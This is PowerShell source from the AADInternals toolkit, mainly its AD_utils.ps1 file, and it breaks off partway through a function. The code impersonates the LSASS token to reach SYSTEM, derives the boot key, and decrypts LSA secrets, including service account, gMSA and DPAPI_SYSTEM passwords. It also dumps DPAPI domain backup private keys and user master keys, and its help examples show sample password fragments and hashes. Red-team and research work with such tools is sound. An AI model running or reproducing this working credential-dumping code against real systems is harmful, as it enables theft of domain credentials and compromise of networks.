<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>07</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">2</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0A</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0F</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
</_FF_20>
<_FF_26 xmlns="_FF">
<EXT_2>02</EXT_2>
</_FF_26>
<_FF_25 xmlns="_FF">
<EXT_2>00</EXT_2>
</_FF_25>
</_FF_05>
</block>
<block>
<_E0_3B xmlns="_E0">
<_E0_3C xmlns="_E0">$OutlookVersion</_E0_3C>
<_E0_3D xmlns="_E0"/>
<_E1_1B xmlns="_E1"/>
<_E1_1C xmlns="_E1"/>
<_E1_1D xmlns="_E1">$OutlookTitle</_E1_1D>
<_E1_1E xmlns="_E1"/>
<_E1_1F xmlns="_E1"/>
<_E0_3E xmlns="_E0">
<EXT_2>01</EXT_2>
</_E0_3E>
<_10_11 xmlns="_10">
<EXT_2>01</EXT_2>
</_10_11>
<_1B_22 xmlns="_1B">
<EXT_2>01</EXT_2>
</_1B_22>
</_E0_3B>
</block>
</frame>
</frames>
"@
$response=Get-EASSyncStatus -Credentials $Credentials -AccessToken $AccessToken -AnchorMailBox $anchorMailBox -OutlookFrame ([byte[]](XML2O365WBXML -xml $request))
$response
}
} |
AD_utils.ps1 | AADInternals-0.9.4 | # This file contains functions for various Active Directory related operations
# Import the Native Methods dll
try
{
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
}
catch
{
Write-Warning "Could not load Win32Ntv.dll (probably blocked by Anti Virus)"
}
# Hash and encryption algorithms
$ALGS=@{
0x00006603 = "3DES"
0x00006609 = "3DES 112"
0x00006611 = "AES"
0x0000660e = "AES 128"
0x0000660f = "AES 192"
0x00006610 = "AES 256"
0x0000aa03 = "AGREEDKEY ANY"
0x0000660c = "CYLINK MEK"
0x00006601 = "DES"
0x00006604 = "DESX"
0x0000aa02 = "DH EPHEM"
0x0000aa01 = "DH SF"
0x00002200 = "DSS SIGN"
0x0000aa05 = "ECDH"
0x0000ae06 = "ECDH EPHEM"
0x00002203 = "ECDSA"
0x0000a001 = "ECMQV"
0x0000800b = "HASH REPLACE OWF"
0x0000a003 = "HUGHES MD5"
0x00008009 = "HMAC"
0x0000aa04 = "KEA KEYX"
0x00008005 = "MAC"
0x00008001 = "MD2"
0x00008002 = "MD4"
0x00008003 = "MD5"
0x00002000 = "NO SIGN"
0xffffffff = "OID INFO CNG ONLY"
0xfffffffe = "OID INFO PARAMETERS"
0x00004c04 = "PCT1 MASTER"
0x00006602 = "RC2"
0x00006801 = "RC4"
0x0000660d = "RC5"
0x0000a400 = "RSA KEYX"
0x00002400 = "RSA SIGN"
0x00004c07 = "SCHANNEL ENC KEY"
0x00004c03 = "SCHANNEL MAC KEY"
0x00004c02 = "SCHANNEL MASTER HASH"
0x00006802 = "SEAL"
0x00008004 = "SHA1"
0x0000800c = "SHA 256"
0x0000800d = "SHA 384"
0x0000800e = "SHA 512"
0x0000660a = "SKIPJACK"
0x00004c05 = "SSL2 MASTER"
0x00004c01 = "SSL3 MASTER"
0x00008008 = "SSL3 SHAMD5"
0x0000660b = "TEK"
0x00004c06 = "TLS1 MASTER"
0x0000800a = "TLS1PRF"
}
# Gets the class name of the given registry key (can't be read with pure PowerShell)
# Mar 25th 2020
function Invoke-RegQueryInfoKey
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[Microsoft.Win32.RegistryKey]$RegKey
)
Process
{
# Create the StringBuilder and length to retrieve the class name
$length = 255
$name = New-Object System.Text.StringBuilder $length
# LastWrite
[int64]$lw=0
$error = [AADInternals.Native]::RegQueryInfoKey(
$RegKey.Handle,
$name, # ClassName
[ref] $length, # ClassNameLength
$null, # Reserved
[ref] $null, # SubKeyCount
[ref] $null, # MaxSubKeyNameLength
[ref] $null, # MaxClassLength
[ref] $null, # ValueCount
[ref] $null, # MaxValueNameLength
[ref] $null, # MaxValueValueLength
[ref] $null, # SecurityDescriptorSize
[ref] $lw # LastWrite
)
if ($error -ne 0) {
Throw "Error while invoking RegQueryInfoKey"
}
else {
$hexValue = $name.ToString()
if([String]::IsNullOrEmpty($hexValue))
{
Write-Error "RegQueryInfoKey: ClassName is empty"
}
else
{
return Convert-HexToByteArray $hexValue
}
}
}
}
# Gets the boot key from the registry
# Mar 25th 2020
function Get-Bootkey
{
[cmdletbinding()]
Param()
Process
{
# Get the current controlset
$cc = "{0:000}" -f (Get-ItemPropertyValue "HKLM:\SYSTEM\Select" -Name "Current")
# Construct the bootkey
$lsaKey = "HKLM:\SYSTEM\ControlSet$cc\Control\Lsa"
$bootKey = Invoke-RegQueryInfoKey (Get-Item "$lsaKey\JD")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\Skew1")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\GBG")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\Data")
# Return the bootkey with the correct byte order
$bootKeyBytes=@(
$bootKey[0x08]
$bootKey[0x05]
$bootKey[0x04]
$bootKey[0x02]
$bootKey[0x0B]
$bootKey[0x09]
$bootKey[0x0D]
$bootKey[0x03]
$bootKey[0x00]
$bootKey[0x06]
$bootKey[0x01]
$bootKey[0x0C]
$bootKey[0x0E]
$bootKey[0x0A]
$bootKey[0x0F]
$bootKey[0x07]
)
Write-Verbose "BootKey (SysKey): $((Convert-ByteArrayToHex -Bytes $bootKeyBytes).toLower())"
return $bootKeyBytes
}
}
# Gets the computer name
# Apr 24th 2020
function Get-ComputerName
{
[cmdletbinding()]
Param(
[Switch]$FQDN
)
Process
{
# Get the server name from the registry
$computer = Get-ItemPropertyValue "HKLM:\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" -Name "ComputerName"
if($FQDN)
{
# Get the domain part
$domain = Get-ComputerDomainName
$computer+=".$domain"
}
Write-Verbose "ComputerName: $computer"
return $computer
}
}
# Gets the domain of the computer
# Aug 28th 2022
function Get-ComputerDomainName
{
[cmdletbinding()]
Param(
[Switch]$NetBIOS
)
Process
{
# Get the FQDN from the registry
$domainName = Get-ItemPropertyValue "HKLM:\System\CurrentControlSet\Services\Tcpip\Parameters" -Name "Domain"
if(!$domainName)
{
throw "Could not get FQDN from registry."
}
Write-Verbose "Domain name: $domainName"
# Get NetBIOS using WMIC
if($NetBIOS)
{
Write-Verbose "Getting NetBIOS domain name for $domainName using WMIC"
$wmiDomain = Get-WmiObject Win32_NTDomain -Filter "DnsForestName = '$($domainName)'"
if(!$wmiDomain)
{
throw "Could not get NetBIOS domain for $FQDN using WMIC"
}
$DomainName = $wmiDomain.DomainName
Write-Verbose "NetBIOS domain: $domainName"
}
return $domainName
}
}
# Gets the machine guid
# Mar 25th 2020
function Get-MachineGuid
{
Process
{
$registryValue = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name "MachineGuid"
return [guid] $registryValue.MachineGuid
}
}
# Gets the DPAPI_SYSTEM keys
# Apr 23rd 2020
function Get-DPAPIKeys
{
<#
.SYNOPSIS
Gets DPAPI system keys
.DESCRIPTION
Gets DPAPI system keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run on a domain controller as an administrator
.Example
Get-AADIntDPAPIKeys
UserKey UserKeyHex MachineKey MachineKeyHex
------- ---------- ---------- -------------
{16, 130, 39, 122...} 1082277ac85a532018930b782c30b7f2f91f7677 {226, 88, 102, 95...} e258665f0a016a7c215ceaf29ee1ae17b9f017b9
.Example
$dpapi_keys=Get-AADIntDPAPIKeys
#>
[cmdletbinding()]
Param()
Process
{
$LSAsecrets = Get-LSASecrets -Users "DPAPI_SYSTEM"
foreach($secret in $LSAsecrets)
{
if($secret.Name -eq "DPAPI_SYSTEM")
{
# Strip the first two DWORDs
$key = $secret.Password[4..$($secret.Password.Length-1)]
$userKey = $key[0..19]
$machineKey = $key[20..39]
$attributes=[ordered]@{
"UserKey" = $userKey
"UserKeyHex" = Convert-ByteArrayToHex -Bytes $userKey
"MachineKey" = $machineKey
"MachineKeyHex" = Convert-ByteArrayToHex -Bytes $machineKey
}
return New-Object psobject -Property $attributes
}
}
}
}
# Decrypts the given data using the given key and InitialVector (IV)
# Apr 24th 2020
function Decrypt-LSASecretData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data,
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$InitialVector
)
Process
{
# Create a SHA256 object
$sha256 = [System.Security.Cryptography.SHA256]::Create()
# Derive the encryption key (first hash with the key, and then 1000 times with IV)
$sha256.TransformBlock($Key,0,$Key.Length,$null,0) | Out-Null
for($a = 0 ; $a -lt 999; $a++)
{
$sha256.TransformBlock($InitialVector,0,$InitialVector.Length,$null,0) | Out-Null
}
$sha256.TransformFinalBlock($InitialVector,0,$InitialVector.Length) | Out-Null
$encryptionKey = $sha256.Hash
# Create an AES decryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode="ECB"
$aes.Padding="None"
$aes.KeySize = 256
$aes.Key = $encryptionKey
# Decrypt the data
$dec = $aes.CreateDecryptor()
$decryptedData = $dec.TransformFinalBlock($Data,0,$Data.Count)
# return
return $decryptedData
}
}
# Parse LSA secrets Blob
# Apr 24th 2020
function Parse-LSASecretBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
Process
{
$version = [System.BitConverter]::ToInt32($Data[3..0], 0)
$guid = [guid][byte[]]($Data[4..19])
$algorithm = [System.BitConverter]::ToInt32($Data, 20)
$flags = [System.BitConverter]::ToInt32($Data, 24)
$lazyIv = $Data[28..59]
Write-Verbose "Key ID: $($guid.ToString())"
New-Object -TypeName PSObject -Property @{
"Version" = $version
"GUID" = $guid
"Algorighm" = $algorithm
"Flags" = $flags
"IV" = $lazyIv
"Data" = $Data[60..$($Data.Length)]
}
}
}
# Parse LSA password Blob
# Apr 24th 2020
function Parse-LSAPasswordBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PasswordBlob
)
Process
{
# Get the size
$BlobSize = [System.BitConverter]::ToInt32($PasswordBlob,0)
# Get the actual data (strip the first four DWORDs)
$Blob = $PasswordBlob[16..$(16+$BlobSize-1)]
Write-Verbose "Password Blob: $(Convert-ByteArrayToHex -Bytes $Blob)"
return $Blob
}
}
# Parses LSA keystream
# Apr 24th 2020
function Parse-LSAKeyStream
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$KeyStream
)
Process
{
# Get the stream size
$streamSize = [System.BitConverter]::ToInt32($KeyStream,0)
# Get the actual data (strip the first four DWORDs)
$streamData = $KeyStream[16..$(16+$streamSize-1)]
# Parse the keystream metadata
$ksType = [System.BitConverter]::ToInt32($streamData[0..3], 0)
$CurrentKeyID = [guid][byte[]]($streamData[4..19])
Write-Verbose "Current LSA key Id: $($CurrentKeyID.ToString())"
$ksType2 = [System.BitConverter]::ToInt32($streamData, 20)
$ksNumKeys = [System.BitConverter]::ToInt32($streamData, 24)
Write-Verbose "Number of LSA keys: $ksNumKeys"
# Loop through the list of the keys, start right after the header information
$pos=28
$keys=@{}
for($a = 0; $a -lt $ksNumKeys ; $a++)
{
$keyId = [guid][byte[]]($streamData[$pos..$($pos+15)])
$pos+=16
$keyType = [System.BitConverter]::ToInt32($streamData[$pos..$($pos+3)], 0)
$pos+=4
$keySize = [System.BitConverter]::ToInt32($streamData[$pos..$($pos+3)], 0)
$pos+=4
$keyBytes = [byte[]]($streamData[$pos..$($pos+$keySize-1)])
$pos+=$keySize
Write-Verbose "LSA Key $($a+1) Id:$($keyId.ToString()), $((Convert-ByteArrayToHex -Bytes $keyBytes).toLower())"
$keys[$keyId.ToString()] = $keyBytes
}
return $keys
}
}
# Gets LSA secrets
# Apr 24th 2020
# Aug 29th 2022: Added support for Group Managed Service Accounts (GMSA)
function Get-LSASecrets
{
<#
.SYNOPSIS
Gets computer's LSA Secrets from registry.
.DESCRIPTION
Gets computer's Local Security Authority (LSA) secrets from registry. MUST be run as an administrator.
.PARAMETER AccountName
The account name of a service
.PARAMETER Users
List of users
.Example
Get-AADIntLSASecrets
Name : $MACHINE.ACC
Account :
Password : {131, 100, 104, 117...}
PasswordHex : 836468758afd792..
PasswordTxt : 撃畨ﶊ脅䰐血⺹颶姾..
Credentials :
MD4 : {219, 201, 145, 228...}
SHA1 : {216, 95, 90, 3...}
MD4Txt : dbc991e4e611cf4dbd0d853f54489caf
SHA1Txt : d85f5a030b06061329ba93ac7da2f446981a02b6
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
Name : NL$KM
Account :
Password : {209, 118, 66, 10...}
PasswordHex : d176420abde330d3e443212b...
PasswordTxt : 监ੂ팰䏤⬡ꎛ녀䚃劤⪠钤␎/뜕ະ...
Credentials :
MD4 : {157, 45, 19, 202...}
SHA1 : {197, 144, 115, 117...}
MD4Txt : 9d2d13cac899b491114129e5ebe00939
SHA1Txt : c590737514c8f22607fc79d771b61b1a1505c3ee
Name : _SC_AADConnectProvisioningAgent
Account : COMPANY\provAgentgMSA
Password : {176, 38, 6, 7...}
PasswordHex : b02606075f962ab4474bd570dc..
PasswordTxt : ⚰܆陟됪䭇...
Credentials : System.Management.Automation.PSCredential
MD4 : {123, 211, 194, 182...}
SHA1 : {193, 238, 187, 166...}
MD4Txt : 7bd3c2b62b66024e4e066a1f4902221e
SHA1Txt : c1eebba61a72d8a4e78b1cefd27c555b83a39cb4
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
Name : _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_15030c93b7affb1fe7dc418b9dab42addf5
74c56b3e7a83450fc4f3f8a382028
Account :
Password : {131, 250, 57, 146...}
PasswordHex : 83fa3992cd076f3476e8be7e04...
PasswordTxt : 廙鈹ߍ㑯纾�≦瀛・௰镭꾔浪�ꨲ컸O⩂�..
Credentials :
MD4 : {198, 74, 199, 231...}
SHA1 : {78, 213, 16, 126...}
MD4Txt : c64ac7e7d2defe99afdf0026b79bbab9
SHA1Txt : 4ed5107ee08123635f08390e106ed000f96273fd
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
.Example
Get-AADIntLSASecrets -AccountName COMPANY\AAD_5baf82738e9c
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
.Example
Get-AADIntLSASecrets -AccountName COMPANY\sv_ADFS
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
.Example
Get-AADIntLSASecrets -Users DPAPI_SYSTEM
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Users',Mandatory=$False)]
#[Parameter(ParameterSetName='Default',Mandatory=$False)]
[String[]]$Users,
[Parameter(ParameterSetName='Account',Mandatory=$True)]
#[Parameter(ParameterSetName='Default',Mandatory=$False)]
[String]$Service,
[Parameter(ParameterSetName='Service',Mandatory=$True)]
#[Parameter(ParameterSetName='Default',Mandatory=$False)]
[String]$AccountName
)
Begin
{
$sha1Prov = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
}
Process
{
# First elevate the current thread by copying the token from LSASS.EXE
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
if([AADInternals.Native]::copyLsassToken())
{
#
# Get the syskey a.k.a. bootkey
#
$syskey = Get-Bootkey
#
# Get the name and sid information
#
# Get the local name and sid
$lnameBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolAcDmN" -Name "(default)"
$LocalName = [text.encoding]::Unicode.GetString($lnameBytes[8..$($lnameBytes.Length)])
$lsidBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolAcDmS" -Name "(default)"
$LocalSid=(New-Object System.Security.Principal.SecurityIdentifier($lsidBytes,0)).Value
# Get the domain name and sid
$dnameBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolPrDmN" -Name "(default)"
$DomainName = [text.encoding]::Unicode.GetString($dnameBytes[8..$($dnameBytes.Length)]).Trim(0x00)
$dsidBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolPrDmS" -Name "(default)"
if($dsidBytes)
{
$DomainSid=(New-Object System.Security.Principal.SecurityIdentifier($dsidBytes,0)).Value
}
# Get the domain FQDN
$fqdnBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolDnDDN" -Name "(default)"
$DomainFQDN = [text.encoding]::Unicode.GetString($fqdnBytes[8..$($fqdnBytes.Length)]).Trim(0x00)
Write-Verbose "Local: $LocalName ($LocalSid)"
Write-Verbose "Domain: $DomainName ($DomainSid)"
Write-Verbose "FQDN: $DomainFQDN"
#
# Get the encryption key Blob
#
$encKeyBlob = Parse-LSASecretBlob -Data (Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolEKList" -Name "(default)")
Write-Verbose "Default key: $($encKeyBlob.GUID)"
# Decrypt the encryption key Blob using the syskey
$decKeyBlob = Decrypt-LSASecretData -Data ($encKeyBlob.Data) -Key $syskey -InitialVector ($encKeyBlob.IV)
# Parse the keys
$encKeys = Parse-LSAKeyStream -KeyStream $decKeyBlob
#
# Get the password Blobs for each system account
#
# Get service account names
$gmsaNames = @{}
$serviceAccounts = @{}
$serviceAccountNames = Get-ServiceAccountNames
# If service name was provided, find it's account
if(![string]::IsNullOrEmpty($Service))
{
$AccountName = $serviceAccountNames | Where-Object "Service" -eq $Service | Select-Object -ExpandProperty "AccountName"
# If not found, just return $null
if([string]::IsNullOrEmpty($AccountName))
{
return $null
}
}
# Loop through the service account names and get SA & gMSA names
foreach($saName in $serviceAccountNames)
{
$svcAccount = $saName.AccountName
if(![string]::IsNullOrEmpty($svcAccount) -and !$svcAccount.ToUpper().StartsWith("NT AUTHORITY\") -and !$svcAccount.ToUpper().StartsWith("NT SERVICE\") -and !$svcAccount.ToUpper().StartsWith("\DRIVER\") -and !$svcAccount.ToUpper().Equals("LOCALSYSTEM") )
{
if($svcAccount.EndsWith('$'))
{
$svcAccount = $svcAccount.TrimEnd('$')
}
$serviceAccounts[$saName.Service] = $svcAccount
$parts = $svcAccount.Split('\')
$gmsaName = Get-GMSASecretName -Type GMSA -AccountName $parts[1] -DomainName $parts[0]
$gmsaNames[$gmsaName] = $svcAccount
}
}
# Create a user list for gMSA and SAs if AccountName was provided
if(![string]::IsNullOrEmpty($AccountName))
{
Write-Verbose "Trying to find secret for account: $AccountName"
if($AccountName.IndexOf("\") -lt 0)
{
$AccountName = "$DomainName\$AccountName"
}
if($AccountName.EndsWith('$'))
{
$AccountName = $AccountName.Substring(0,$AccountName.Length-1)
}
$parts = $AccountName.Split('\')
$gmsaName = Get-GMSASecretName -Type GMSA -AccountName $parts[1] -DomainName $parts[0]
$smsaName = "_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_$($parts[1])$('$')"
foreach($service in $serviceAccounts.Keys)
{
if($serviceAccounts[$service] -eq $AccountName)
{
$saName = $service
break
}
}
$Users = @($gmsaName, $smsaName, "_SC_$saName")
}
# If users list not provided, retrieve all secrets
if([string]::IsNullOrEmpty($Users))
{
$Users = Get-ChildItem "HKLM:\SECURITY\Policy\Secrets\" | select -ExpandProperty PSChildName
}
foreach($user in $Users)
{
# Return values
$attributes=[ordered]@{}
$md4=$null
$sha1=$null
$Md4txt=$null
$Sha1txt=$null
$account=$null
# Create the registry key
$regKey = "HKLM:\SECURITY\Policy\Secrets\$user\CurrVal"
if(Test-Path $regKey)
{
# Get the secret Blob from registry
$pwdBlob = Parse-LSASecretBlob -Data (Get-ItemPropertyValue $regKey -Name "(default)")
# Decrypt the password Blob using the correct encryption key
$decPwdBlob = Decrypt-LSASecretData -Data ($pwdBlob.Data) -Key $encKeys[$($pwdBlob.GUID.ToString())] -InitialVector ($pwdBlob.IV)
# Parse the Blob
if($user.StartsWith("_SC_GMSA_")) # Group Managed Service Account or GMSA DPAPI
{
# Strip the header
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
# Replace the user name
if($gmsaNames.ContainsKey($user))
{
$account = $gmsaNames[$user]
}
# Parse managed password blob for GMSA accounts
if($user.StartsWith("_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_"))
{
$gmsa = Parse-ManagedPasswordBlob -PasswordBlob $pwdb
$pwdb = $gmsa.CurrentPassword
}
}
elseif($user.StartsWith("_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_")) # standalone Managed Service Account sMSA
{
# Strip the header
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
$account = "$DomainName\$($user.SubString(43))" # "_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_"
# Strip the dollar sign
if($account.EndsWith('$'))
{
$account = $account.TrimEnd('$')
}
}
elseif($user.StartsWith("_SC_")) # Service accounts doesn't have password Blob - just dump the data after the header
{
$serviceName = $user.SubString(4)
$account = $serviceAccounts[$serviceName]
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
}
else
{
$pwdb = Parse-LSAPasswordBlob -PasswordBlob $decPwdBlob
}
# Strip the first DWORD for DPAPI_SYSTEM
if($name -eq "DPAPI_SYSTEM")
{
$pwdb = $pwdb[4..$($pwdb.Length)]
}
else
{
if($pwdb -ne $null)
{
$md4=Get-MD4 -bArray $pwdb -AsByteArray
$sha1 = $sha1Prov.ComputeHash($pwdb)
$md4txt = Convert-ByteArrayToHex -Bytes $md4
$sha1txt = Convert-ByteArrayToHex -Bytes $sha1
Write-Verbose "MD4: $md4txt"
Write-Verbose "SHA1: $sha1txt"
}
}
# Add to return value
$attributes["Name"] = $user
$attributes["Account"] = $account
$attributes["Password"] = $pwdb
$attributes["PasswordHex"] = Convert-ByteArrayToHex -Bytes $pwdb
$attributes["PasswordTxt"] = ""
try{
$attributes["PasswordTxt"] = ([text.encoding]::Unicode.getString($pwdb)).trimend(@(0x00,0x0a,0x0d))
}
catch{}
$attributes["Credentials"] = $null
try{
$attributes["Credentials"] = [pscredential]::new($account,($attributes["PasswordTxt"] | ConvertTo-SecureString -AsPlainText -Force))
}
catch{}
$attributes["MD4"] = $md4
$attributes["SHA1"] = $sha1
$attributes["MD4Txt"] = $md4txt
$attributes["SHA1Txt"] = $sha1txt
Write-Verbose "$($user): $(Convert-ByteArrayToHex -Bytes $pwdb)" -ErrorAction SilentlyContinue
New-Object psobject -Property $attributes
}
else
{
Write-Verbose "No secrets found for user $user"
}
}
}
else
{
Write-Error "Could not copy LSASS.EXE token. MUST be run as administrator"
}
}
}
# Gets LSA backup keys
# Apr 24th 2020
function Get-LSABackupKeys
{
<#
.SYNOPSIS
Gets LSA backup keys
.DESCRIPTION
Gets Local Security Authority (LSA) backup keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run as an administrator
.Example
Get-AADIntLSABackupKeys
certificate Name Id Key
----------- ---- -- ---
{1, 2, 3, 4...} RSA e783c740-2284-4bd6-a121-7cc0d39a5077 {231, 131, 199, 64...}
Legacy ff127a05-51b1-4d45-8655-30c883631d90 {255, 18, 122, 5...}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
#>
[cmdletbinding()]
Param()
Process
{
# First elevate the current thread by copying the token from LSASS.EXE
if([AADInternals.Native]::copyLsassToken())
{
# Call the native method to retrive backupkeys
$backupKeys=[AADInternals.Native]::getLsaBackupKeys();
}
else
{
Write-Error "Could not copy LSASS.EXE token. MUST be run as administrator"
return
}
# Analyse and update the keys
foreach($backupKey in $backupKeys)
{
if($bk=$backupKey.key)
{
# Get the version info (type of the key)
$p=0;
$version = [bitconverter]::ToInt32($bk,$p); $p+=4
if($version -eq 2) # RSA privatekey
{
$keyLen = [bitconverter]::ToInt32($bk,$p); $p+=4
$certLen = [bitconverter]::ToInt32($bk,$p); $p+=4
# Extract the private key and certificate
$key=$bk[$p..$($p+$keyLen-1)]
$p+=$keyLen
$cert=$bk[$p..$($p+$certLen-1)]
# Create a private key header
$pvkHeader = @(
# Private key magic = 0xb0b5f11e == bob's file
0x1e, 0xf1, 0xb5, 0xb0
# File version = 0
0x00, 0x00, 0x00, 0x00
# Key spec = 1
0x01, 0x00, 0x00, 0x00
# Encrypt type = 0
0x00, 0x00, 0x00, 0x00
# Encrypt data = 0
0x00, 0x00, 0x00, 0x00
)
$pvkHeader += [System.BitConverter]::GetBytes([int32]$keyLen)
# Construct the private key and update key object
$privateKey = $pvkHeader + $key
$backupKey.key = [byte[]]$privateKey
# Add certificate to key object
$backupKey | Add-Member -NotePropertyName "certificate" -NotePropertyValue $cert
}
elseif($version -eq 1) # Legacy key
{
# Update the key object's key
$key = $bk[$p..$($bk.Length)]
$backupKey.key = $key
}
}
}
return $backupKeys
}
}
# Gets the given user's DSAPI master keys
# Apr 25th 2020
function Get-UserMasterkeys
{
<#
.SYNOPSIS
Gets user's master keys
.DESCRIPTION
Gets user's master keys using the password or system backup key (LSA backup key)
.Example
Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -Password "password"
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b... {166, 95, 5, 216...}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
PS C:\>$rsa_key=$lsabk_keys | where name -eq RSA
PS C:\>Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.key
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b...
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$false, ParameterSetName="credentials")]
[Parameter(Mandatory=$true, ParameterSetName="password")]
[Parameter(Mandatory=$true, ParameterSetName="systemkey")]
[String]$UserName,
[Parameter(Mandatory=$false)]
[String]$SID,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[String]$Password,
[Parameter(Mandatory=$true, ParameterSetName="systemkey")]
[byte[]]$SystemKey,
[Parameter(Mandatory=$true, ParameterSetName="credentials")]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[String]$UsersFolder="C:\Users"
)
Process
{
$retVal=@{}
# Populate username and password from credentials
if($Credentials)
{
$UserName = $Credentials.UserName
$Password = $Credentials.GetNetworkCredential().Password
}
# Strip the domain part
$s = $UserName.IndexOf("\")
if($s -gt 0)
{
$UserName = $UserName.Substring($s+1)
}
$keysPath="$UsersFolder\$userName\AppData\Roaming\Microsoft\Protect\"
# If SID not provided, get one from the keysPath. There should be only one..
if([string]::IsNullOrEmpty($SID))
{
$SIDs = Get-ChildItem -Path $keysPath -Filter "S-1-5-21-*"
